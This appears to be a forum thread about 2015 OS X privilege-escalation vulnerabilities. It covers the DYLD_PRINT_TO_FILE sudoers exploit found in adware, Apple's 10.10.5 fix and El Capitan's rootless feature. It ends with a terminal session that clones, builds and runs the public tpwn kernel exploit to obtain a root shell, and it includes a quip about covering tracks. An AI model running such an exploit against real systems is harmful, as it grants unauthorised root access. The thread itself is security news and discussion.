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On the upside if they do run that, as long as your MACs are AD authenticated they will leave a pretty obvious trace in the sudoers file!!!!

 

Which will be pretty easy to cover tracks if you have root!

 

Doesn't OSX have some sort of SELinux type thing for stuff like this?

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Doesn't OS X have some sort of SELinux type thing for stuff like this?

OS X El Capitan does.

 

https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really/193379#193379

 

See also...

 

If you want it fixed, upgrade to the El Capitan beta

 

This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5. If you upgrade to the El Capitan beta (OS X 10.11), you'll be free from the vulnerability as Apple has already fixed it in that preview beta. Once again, if you keep up with Cupertino and install (or buy) the very latest stuff, you'll be rewarded.
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OS X sudoers exploit found in the wild

 

Last month, Stefan Esser blogged about a zero-day vulnerability in OS X, without having informed Apple about the problem first. Unfortunately, today has brought the discovery of the first known exploit.

 

Adam Thomas, a researcher at Malwarebytes, discovered a new adware installer, and while testing it, he discovered something very strange: his sudoers file had been modified!

 

In addition to installing VSearch, the installer will also install a variant of the Genieo adware and the MacKeeper junkware. As its final operation, it directs the user to the Download Shuttle app on the Mac App Store.

 

This is obviously very bad news. Apple has evidently known about this issue for a while now – not due to Esser, but thanks to a responsible researcher going by the Twitter handle @beist, who had alerted Apple some time before Esser discovered the bug.

 

Unfortunately, Apple has not yet fixed this problem, and now it is beginning to bear fruit.

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instant root!

Fixed!

 

Apple releases OS X 10.10.5 with DYLD vulnerability patch, bug fixes

 

Apple today released OS X Yosemite 10.10.5, an under-the-hood update that introduces bug fixes, security enhancements, and performance improvements. OS X 10.10.5 is being released to the public after two developer betas and one month of testing.

 

The OS X 10.10.5 update can be downloaded through the Software Update mechanism in the Mac App Store.

 

Today's update notably includes a fix for the DYLD_PRINT_TO_FILE privilege escalation vulnerability that could allow malware to gain root access to a Mac. Earlier this month, a DYLD_PRINT_TO_FILE exploit was found to be in use in the wild, so this is an update that all Mac users running Yosemite will want to install as soon as possible.

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There's a brand new privilege escalation vulnerability that affects 10.9-10.10.5 (although not 10.11). :(

 

OS X 10.10.5 kernel local privilege escalation

 

$ git clone https://github.com/kpwn/tpwn.git
Cloning into 'tpwn'...
remote: Counting objects: 16, done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0
Unpacking objects: 100% (16/16), done.
Checking connectivity... done.
$ cd tpwn
$ make
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
$ ./tpwn
leaked kaslr slide, @ 0x0000000008e00000
sh-3.2# whoami
[color="#FF0000"][b]root[/b][/color]
sh-3.2#

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